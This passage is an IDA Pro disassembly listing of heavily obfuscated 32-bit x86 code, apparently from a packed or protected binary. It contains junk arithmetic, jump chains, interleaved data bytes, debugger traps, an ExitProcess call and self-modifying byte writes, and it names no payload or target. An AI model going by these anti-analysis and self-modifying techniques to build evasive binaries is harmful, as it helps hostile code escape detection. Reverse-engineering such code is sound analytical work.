COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add ebx, 0AFC0EE35h jmp loc_100286AC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD "+" TO EXPAND] align 4 retn ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD "+" TO EXPAND] align 4 loc_1002822C: ; CODE XREF: _3a14gzkz:1002874Aj jmp loc_100293E3 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- sbb al, 24h pop ebx push edi mov edi, ecx xchg edi, [esp] mov ecx, offset nullsub_249 jmp loc_10028939 ; --------------------------------------------------------------------------- mov edx, offset loc_10027F40 jmp loc_10029573 ; --------------------------------------------------------------------------- align 2 mov edx, offset loc_10028623 jmp loc_100273D8 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_1002825E: ; CODE XREF: sub_100273B0:loc_10028487j rol ecx, 4 or ecx, 0FA547B6Fh and ecx, 0D91F0EEDh rol ecx, 0Bh jmp loc_100287A0 ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028150 loc_10028277: ; CODE XREF: sub_10028150+10j or eax, 0F3F36F3Eh cmp eax, 9EB144F9h jmp near ptr dword_10027090+13h ; END OF FUNCTION CHUNK FOR sub_10028150 ; --------------------------------------------------------------------------- dd 24348700h, 87FD685Eh, 0EBE91002h, 5 ; --------------------------------------------------------------------------- loc_10028298: ; CODE XREF: _3a14gzkz:10026FE3j jz near ptr locret_10027296+1 ; --------------------------------------------------------------------------- dw 0 dd 0B4ED1168h, 9850F6Ah, 3000000h, 0EFDFE9FDh, 0FFFFh dd 1FC1C159h, 3396C981h, 0F1814B96h, 5F555C6Eh, 958EE981h dd 0C1816BD7h, 0DAEFAED0h, 6CEE9h db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_100282D7: ; CODE XREF: _3a14gzkz:loc_1002844Aj jmp loc_10028CA2 ; --------------------------------------------------------------------------- db 2 dup(0) word_100282DE dw 8Ah ; DATA XREF: _3a14gzkz:10028CABo dd 0DE8992Ch, 0E9FFFFF5h, 70Dh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_100282ED: ; CODE XREF: sub_100274A4+C0Cj jz loc_100274F3 jmp loc_100286B9 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100282F8: ; CODE XREF: sub_1002707B+1501j mov byte ptr [edi], 9 pop edi sub eax, 0C22332F8h add eax, 9E7D159Eh jmp loc_100277C3 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0), 57h ; --------------------------------------------------------------------------- push 0C700742Dh xchg edx, [esp] mov edi, edx pop edx rol edi, 0Dh test edi, 40000h jmp loc_10029208 ; --------------------------------------------------------------------------- db 2 dup(0) byte_1002832B db 87h ; DATA XREF: sub_10027586+4o dd 27E8243Ch, 0FFFFF5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028334: ; CODE XREF: sub_1002707B+152j pop eax mov esi, [esi] xchg esi, [esp+8+var_8] call near ptr dword_10027140+1 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10028341: ; CODE XREF: sub_10028AC5:loc_10027A8Cj mov byte ptr [eax], 0C3h pop eax call nullsub_14 nop call sub_10029851 push offset loc_10029389 jmp loc_1002805C ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_1002835B: ; CODE XREF: _3a14gzkz:10026DBBj push 0B904A2FFh pop esi or esi, 0EFBA9A6Ch rol esi, 15h or esi, 428E692h sub esi, 5240270Ah jmp loc_100277BE ; --------------------------------------------------------------------------- align 4 dd 243C8700h, 1C94685Fh, 0E9586F4Fh, 0FFFFF853h, 0E0BA0000h dd 0E9100292h, 81Bh, 4870000h, 8685824h, 5FD9DEC3h, 617DEF81h dd 6BE9F1E4h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_100283AF: ; CODE XREF: sub_100279AD:loc_10028DC6j push offset sub_100286C7 jmp nullsub_228 ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- db 2 dup(0), 0C1h dd 0C68103C6h, 0E7293294h, 928DBB53h, 0F9E91002h db 0FAh, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_100283CF proc near ; CODE XREF: _3a14gzkz:100278BCj ; sub_1002812C:loc_10029569p xchg esi, [esp+0] pop esi push ecx push 0EE76143Dh jmp near ptr loc_100277AA+1 sub_100283CF endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100286F4 loc_100283DF: ; CODE XREF: sub_100286F4+Cj mov eax, esi pop esi sub eax, 5542CA5Eh and eax, 4F3FF65Fh push offset loc_10027614 jmp loc_1002879B ; END OF FUNCTION CHUNK FOR sub_100286F4 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_100283FA: ; CODE XREF: _3a14gzkz:10028098j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1002957A loc_100283FC: ; CODE XREF: sub_1002957A:loc_1002897Bj mov byte ptr [ebx], 2Ch pop ebx push offset loc_1002894F jmp nullsub_241 ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_1002840B: ; CODE XREF: _3a14gzkz:10026F7Aj xor edi, 523EC9C7h jmp near ptr dword_10026DC8+7 ; --------------------------------------------------------------------------- align 4 mov byte ptr [ecx], 87h xchg edx, [esp] mov ecx, edx pop edx call sub_1002918F locret_10028426: ; CODE XREF: _3a14gzkz:10027F19j retn ; --------------------------------------------------------------------------- align 4 db 0 byte_10028429 db 68h, 43h, 41h ; DATA XREF: _3a14gzkz:10027F14o db 90h db 0DBh, 59h, 81h dd 0E0A61BC9h, 4FE9813Eh, 0E9D6F65Fh, 0FFFFEACCh, 24148700h dd 8B243487h ; --------------------------------------------------------------------------- setalc pop esi loc_1002844A: ; CODE XREF: _3a14gzkz:10026F80j jmp loc_100282D7 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028450: ; CODE XREF: sub_10028DD4-148j push 39DD90FFh xchg edi, [esp+0] mov ebx, edi pop edi or ebx, 79AAA32Fh rol ebx, 9 test ebx, 40h jmp loc_100292F8 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 99h dd 0FFFDBEE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10028477: ; CODE XREF: _3a14gzkz:10029828p xchg edx, [esp] pop edx push 2EBE491Fh call sub_10027AB8 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10028487: ; CODE XREF: sub_100273B0+AECj jmp loc_1002825E ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_1002848E proc near ; CODE XREF: sub_100275B2:loc_10028601p ; _3a14gzkz:10028680j xchg eax, [esp+0] sub_1002848E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_10028491: ; CODE XREF: sub_100274A4:loc_100274F3j pop eax mov byte ptr [ecx], 87h pop ecx xor ebx, 0A43283D4h rol ebx, 0Dh xor ebx, 61066503h jmp near ptr loc_100296EA+1 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; =============== S U B R O U T I N E ======================================= sub_100284AA proc near ; CODE XREF: _3a14gzkz:10027F23p ; _3a14gzkz:10029666j ; FUNCTION CHUNK AT 10028BAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028F30 SIZE 0000000A BYTES xchg esi, [esp+0] xchg edi, [esp+0] mov esi, edi pop edi push edx mov edx, 100273E3h jmp loc_10028BAE sub_100284AA endp ; --------------------------------------------------------------------------- align 10h loc_100284C0: ; CODE XREF: _3a14gzkz:loc_1002896Ej xor edx, 0BCEA0BCFh push ecx mov ecx, (offset locret_10027C10+2) jmp loc_10029378 ; --------------------------------------------------------------------------- db 2 dup(0), 23h dd 0F764E9C6h, 0FFFFh, 6841CF81h db 2 dup(0CFh) ; =============== S U B R O U T I N E ======================================= sub_100284E2 proc near ; CODE XREF: sub_10028BD0-A65p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10027E0F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg eax, [esp-4+arg_0] push edi push offset byte_10029133 jmp loc_10027E0F sub_100284E2 endp ; --------------------------------------------------------------------------- dd 5B241C87h, 4BE95550h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100284FF: ; CODE XREF: sub_1002707B+165j ; DATA XREF: sub_100297B3+4o mov ebp, esp push eax call sub_10028BD0 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_10028509: ; CODE XREF: _3a14gzkz:10027A92j jle loc_10027054 jg loc_10028612 test ecx, eax jmp loc_10027F7E ; --------------------------------------------------------------------------- dd 0FFF75CE8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10028523: ; CODE XREF: _3a14gzkz:100292E9j jmp loc_10027EA8 ; --------------------------------------------------------------------------- dd 0C3680000h, 0E9771FF0h, 0FFFFFAC4h, 0E9D38500h, 0FFFFF723h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_1002853F: ; CODE XREF: _3a14gzkz:10028645j jmp near ptr dword_10027A5C+12h ; --------------------------------------------------------------------------- dd 34870000h, 15FF5E24h, 1001E0C0h, 290C6853h, 0C15B475Ah dd 32E91BC3h, 7, 87D58B00h, 2C872434h, 5DF58B24h, 0DA217D68h dd 0ED85E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028576: ; CODE XREF: sub_1002707B:loc_100285ABj add edi, 0C150D2AFh jmp loc_100282F8 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10028581: ; CODE XREF: sub_10027C41-73Ej mov eax, offset loc_1002797A jmp loc_10028678 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- align 4 locret_1002858C: ; CODE XREF: _3a14gzkz:loc_100293AEj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002858F: ; DATA XREF: _3a14gzkz:loc_100273D8o mov byte ptr [edx], 87h xchg edi, [esp] mov edx, edi pop edi push ecx jmp loc_10029066 ; --------------------------------------------------------------------------- dw 0C300h db 2 dup(0) ; --------------------------------------------------------------------------- locret_100285A2: ; CODE XREF: _3a14gzkz:10027F39j retn ; --------------------------------------------------------------------------- align 4 dd 0C7BE900h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100285AB: ; CODE XREF: sub_1002707B+D6Bj jmp loc_10028576 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dd 15E90000h, 8 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002735F loc_100285B9: ; CODE XREF: sub_1002735F+Ej jmp loc_10029073 ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- dw 1E68h dd 871326F3h, 9CBE9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_100285CA: ; CODE XREF: _3a14gzkz:10026DA9j push 9860DD84h pop edx and edx, 1C2C2EB1h xor edx, 0E9D2F878h jmp loc_10029039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028EFA loc_100285E1: ; CODE XREF: sub_10028EFA:loc_100293FDj or edx, edx jz loc_10028089 call sub_1002781D loc_100285EE: ; CODE XREF: _3a14gzkz:100292B1j jmp locret_1002711D ; END OF FUNCTION CHUNK FOR sub_10028EFA ; --------------------------------------------------------------------------- align 4 jmp loc_10027437 ; --------------------------------------------------------------------------- align 2 dw 22E9h dd 0FFFFF8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_10028601: ; CODE XREF: sub_100275B2+1A92j call sub_1002848E ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028608: ; CODE XREF: sub_1002812C:loc_10028126j push 100272EDh ; END OF FUNCTION CHUNK FOR sub_1002812C ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002860D: ; CODE XREF: sub_1002707B:loc_100290EFj jmp nullsub_240 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- loc_10028612: ; CODE XREF: _3a14gzkz:1002850Fj ; DATA XREF: _3a14gzkz:10027ED5o call near ptr 11E3462Ch adc [eax-12h], ch lea eax, [edx] ; --------------------------------------------------------------------------- db 10h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002861D: ; CODE XREF: sub_1002707B+F15j jmp nullsub_237 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A10 loc_10028622: ; CODE XREF: sub_10028A10:loc_10027519j pop ecx loc_10028623: ; DATA XREF: _3a14gzkz:10028252o dec esp add al, 24h jmp loc_10027C15 ; END OF FUNCTION CHUNK FOR sub_10028A10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_1002862B: ; CODE XREF: sub_1002883B+4j jno loc_10028F8F call sub_10028EFA ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_10028638: ; CODE XREF: _3a14gzkz:loc_10028939j mov byte ptr [ecx], 0C3h pop ecx rol ecx, 0Ah add ecx, 0A6123F80h jmp loc_1002853F ; --------------------------------------------------------------------------- align 4 xor esi, 0C311F580h sub ebp, 94E0B73Dh jmp loc_10026F4C ; --------------------------------------------------------------------------- align 2 locret_1002865E: ; CODE XREF: _3a14gzkz:10028CFAj retn ; --------------------------------------------------------------------------- align 10h loc_10028660: ; CODE XREF: _3a14gzkz:10027899j jmp locret_1002932D ; --------------------------------------------------------------------------- byte_10028665 db 0C6h, 0, 0FFh ; DATA XREF: _3a14gzkz:loc_10028CF5o dd 8B240C87h, 0C0C159C1h, 99CE811h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10028678: ; CODE XREF: sub_10027C41+945j jmp loc_10027975 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- align 2 mov eax, ebx jmp sub_1002848E ; --------------------------------------------------------------------------- db 1Bh, 0EFh, 0E8h dd 278h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_1002868E: ; CODE XREF: sub_1002812C+655j jmp loc_10029756 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD "+" TO EXPAND] db 68h, 18h, 84h dd 52E91002h, 0FFFFEBh, 0E90AEAC1h, 0FFFFEA99h db 2 dup(0) ; --------------------------------------------------------------------------- locret_100286AA: ; CODE XREF: _3a14gzkz:10028045j retn ; --------------------------------------------------------------------------- align 4 loc_100286AC: ; CODE XREF: _3a14gzkz:10028220j push offset dword_10028FB8 jmp locret_10028FB6 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_100286B9: ; CODE XREF: sub_100274A4+E4Fj rol ebx, 0Ch jg loc_1002801B jmp loc_10028AF5 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; =============== S U B R O U T I N E ======================================= sub_100286C7 proc near ; DATA XREF: sub_100279AD:loc_100283AFo ; FUNCTION CHUNK AT 10027F63 SIZE 0000000A BYTES xchg edi, [esp+0] jmp loc_10027F63 sub_100286C7 endp ; --------------------------------------------------------------------------- byte_100286CF db 13h ; DATA XREF: _3a14gzkz:100288EDo db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_100286D2: ; CODE XREF: sub_1002781D-99Cj jmp loc_10026F8C ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- loc_100286D7: ; CODE XREF: _3a14gzkz:10026C95j jmp loc_100281F0 ; --------------------------------------------------------------------------- dd 58D0000h, 100273EDh, 0FFEE19E8h, 6D8568FFh, 0D2E91002h dd 0Dh ; =============== S U B R O U T I N E ======================================= sub_100286F4 proc near ; CODE XREF: _3a14gzkz:100278A1j ; sub_10028C3C+6p ; FUNCTION CHUNK AT 100283DF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1002879B SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 75B755AEh xchg esi, [esp+0] jmp loc_100283DF sub_100286F4 endp ; --------------------------------------------------------------------------- db 2 dup(0) byte_10028707 db 0Fh ; DATA XREF: sub_1002707B:loc_10027206o ; sub_100273B0+ADFo ... dd 41882h, 0AE880F00h, 51FFFFF8h, 0C87CF8Bh, 70F2BF24h dd 0F2E91002h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028723: ; CODE XREF: sub_1002707B:loc_10028E8Dj add ecx, 0CCA470C5h xchg ecx, [esp+0] jmp loc_10028C47 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0), 8Dh ; --------------------------------------------------------------------------- add eax, 10027127h loc_10028739: ; DATA XREF: sub_1002707B+BF8o das add bl, al call locret_10027D57 push 4077C468h pop eax rol eax, 7 jmp loc_1002822C ; --------------------------------------------------------------------------- align 10h dd 0AC820F00h, 9CFFFFF9h, 5ADAEE81h, 0DD810859h, 9852670Ah dd 422EDD81h, 0FCE97506h, 0Bh, 0E54C8A0Fh, 0E4E9FFFFh dd 0FFFFEBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_1002877C: ; CODE XREF: sub_1002812C+1106j mov eax, offset loc_1002754A jmp loc_1002868E ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_10028789: ; DATA XREF: sub_10028AC5+Eo push edi push edx pop edi push offset dword_10028F10 jmp loc_10029811 ; --------------------------------------------------------------------------- align 4 locret_10028798: ; CODE XREF: _3a14gzkz:10027359j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100286F4 loc_1002879B: ; CODE XREF: sub_100286F4-301j jmp nullsub_238 ; END OF FUNCTION CHUNK FOR sub_100286F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_100287A0: ; CODE XREF: sub_100273B0+EC0j jmp loc_10027A3B ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027AB8 loc_100287A5: ; CODE XREF: sub_10027AB8+Aj add edi, 59380E99h xor edi, 0D557A2CCh sub edi, 3727F61Ch xor edi, 0E48600A7h xchg edi, [esp+0] call ds:dword_1001E0C0 ; ExitProcess jmp loc_1002790A ; END OF FUNCTION CHUNK FOR sub_10027AB8 ; --------------------------------------------------------------------------- align 4 dd 0F06CE900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_100287D4: ; CODE XREF: sub_1002812C:loc_10028A5Aj ; sub_1002812C+10FFj lodsb jmp loc_10028934 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- dw 0E823h dd 0E75C850Fh, 4587FFFFh, 0FE9BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_100287EA: ; DATA XREF: sub_1002707B+B2o push 100275C3h jmp loc_10028DBF ; --------------------------------------------------------------------------- dd 0E0E9C300h, 0FFFFE8h, 0EBE36800h, 81583BD0h, 653FCFE8h dd 1B880FA4h, 99FFFFE8h, 0F774850Fh, 0AE9FFFFh, 0FFFFE8h dd 0DE136800h, 815FAB8Fh, 41EC29F7h, 0E7817Bh, 5641D32Eh dd 27D08BEh, 0E4D3E910h db 2 dup(0FFh), 0 ; =============== S U B R O U T I N E ======================================= sub_1002883B proc near ; CODE XREF: _3a14gzkz:100277EEj ; sub_10028DD4:loc_100278EAp ; FUNCTION CHUNK AT 10027595 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1002862B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10028F8F SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1002935B SIZE 00000007 BYTES xchg edx, [esp+0] pop edx jnz loc_1002862B jno loc_10028F8F jmp loc_10027595 sub_1002883B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C6810000h, 1245EA99h, 0F8E5E957h, 0FFFFh ; --------------------------------------------------------------------------- loc_10028860: ; CODE XREF: _3a14gzkz:100277CEj sub ebp, 0DD5AD5E6h cmp eax, edi jmp loc_1002972E ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 2A78CBF0h, 4DE921h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028E0A loc_1002887D: ; CODE XREF: sub_10028E0A+306j jmp nullsub_184 ; END OF FUNCTION CHUNK FOR sub_10028E0A ; --------------------------------------------------------------------------- dw 6EE9h dd 0FFFFFFh db 0 ; --------------------------------------------------------------------------- loc_10028889: ; CODE XREF: _3a14gzkz:loc_10027ECEj mov byte ptr [ecx], 0FFh xchg edx, [esp] mov ecx, edx pop edx jmp loc_100271A8 ; --------------------------------------------------------------------------- align 4 dd 0AEF08100h, 0E9F798AAh, 0FFFFFAD9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100288A6: ; CODE XREF: sub_1002707B:loc_1002713Aj jnz loc_10027285 add [ebx], ah lock jmp loc_10027283 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dd 39830F00h, 0F00000Dh, 0FFF52585h, 0EA61E9FFh db 2 dup(0FFh), 0 ; =============== S U B R O U T I N E ======================================= sub_100288C7 proc near ; CODE XREF: _3a14gzkz:100277DAp arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx add edi, 19EAB319h xchg edi, [esp-4+arg_0] jmp near ptr byte_10028F8E sub_100288C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- enter 2E0Bh, 55h retn ; --------------------------------------------------------------------------- and eax, 7EC56EE7h push ecx mov ecx, edi xchg ecx, [esp] mov edi, offset byte_100286CF jmp loc_10026E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100288F7: ; CODE XREF: sub_10028DD4:loc_100292F8j ; sub_10028DD4+53Cj push ecx mov ecx, offset loc_10028CAA jmp loc_10027E41 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 4 xchg edi, [esp] pop edi add edx, 83C10117h xchg edx, [esp] jmp locret_10027D57 ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFFE9EAh, 8E0F0000h, 0FFFFE87Ah, 5A241487h, 0B142C281h dd 0ABE85987h, 0FFFFF6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028934: ; CODE XREF: sub_1002812C+6A9j jmp loc_10029569 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- loc_10028939: ; CODE XREF: _3a14gzkz:10028242j jmp loc_10028638 ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD "+" TO EXPAND] align 2 ; START OF FUNCTION CHUNK FOR sub_1002918F loc_10028942: ; CODE XREF: sub_1002918F+Ej jmp near ptr dword_10027D2C+1Fh ; END OF FUNCTION CHUNK FOR sub_1002918F ; --------------------------------------------------------------------------- align 4 loc_10028948: ; CODE XREF: _3a14gzkz:10029025j jmp loc_100289DF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002894F: ; DATA XREF: sub_1002957A-117Ao pushf push 0DE8AACC2h pop eax jmp loc_1002942B ; --------------------------------------------------------------------------- loc_1002895B: ; CODE XREF: _3a14gzkz:10029492j xor edx, 0AA9554D8h cmp edx, 0C98E4C88h jmp loc_100294B0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002896E: ; CODE XREF: _3a14gzkz:10027758j jge loc_100284C0 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028975: ; CODE XREF: sub_1002707B+1AC2j jmp nullsub_239 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002957A loc_1002897B: ; CODE XREF: sub_1002957A-1390j jmp loc_100283FC ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- dd 0F9D0000h, 9418Ah, 0FB32E900h db 2 dup(0FFh) word_1002898E dw 0C181h ; DATA XREF: _3a14gzkz:loc_10027354o dd 7C00AF97h, 5AE8D903h, 0D1FFFFF0h, 0EC8EE9C6h, 0E800FFFFh dd 0FFFFE427h, 0E4FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_100289AE: ; CODE XREF: _3a14gzkz:100272C7j pop ebx call sub_1002957A ; START OF FUNCTION CHUNK FOR sub_100276FC loc_100289B4: ; CODE XREF: sub_100276FC+8j jmp nullsub_250 ; END OF FUNCTION CHUNK FOR sub_100276FC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100289BB: ; CODE XREF: sub_1002707B:loc_1002956Ej mov byte ptr [edx], 0Fh xchg ecx, [esp-0Ch+arg_8] mov edx, ecx pop ecx push 625EB3A5h jmp loc_100297AC ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 10h mov eax, [ebp+0] and ebp, 1FB05ADBh jmp sub_10028EB5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100289DF: ; CODE XREF: _3a14gzkz:loc_10028948j call loc_10029055 add cl, ch int 3 ; Trap to Debugger idiv bh inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100289EC: ; CODE XREF: _3a14gzkz:100280C7j jmp near ptr dword_10027014+1 ; --------------------------------------------------------------------------- db 2 dup(0) byte_100289F3 db 0E8h ; DATA XREF: _3a14gzkz:100276E4o dd 0FFFFED9Dh db 0, 0C3h, 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_100289FE proc near ; CODE XREF: _3a14gzkz:1002753Ej ; FUNCTION CHUNK AT 10027054 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100281AC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10028D31 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ecx, ebp push ebx push 480BCC67h jmp loc_100281AC sub_100289FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10028A10 proc near ; CODE XREF: _3a14gzkz:10026F86j ; _3a14gzkz:10027CA0p ; FUNCTION CHUNK AT 10027519 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028622 SIZE 00000009 BYTES xchg esi, [esp+0] pop esi add ecx, 0FD3CF3C4h add eax, ecx jmp loc_10027519 sub_10028A10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 dw 0FD0Bh dd 66E9FA87h, 0FFFFE6h, 0C2239900h, 0FFF854E9h, 60820FFFh db 3, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10028A3B proc near ; CODE XREF: _3a14gzkz:10027839p ; FUNCTION CHUNK AT 1002770A SIZE 0000000E BYTES xchg esi, [esp+0] pop esi mov [ebx], 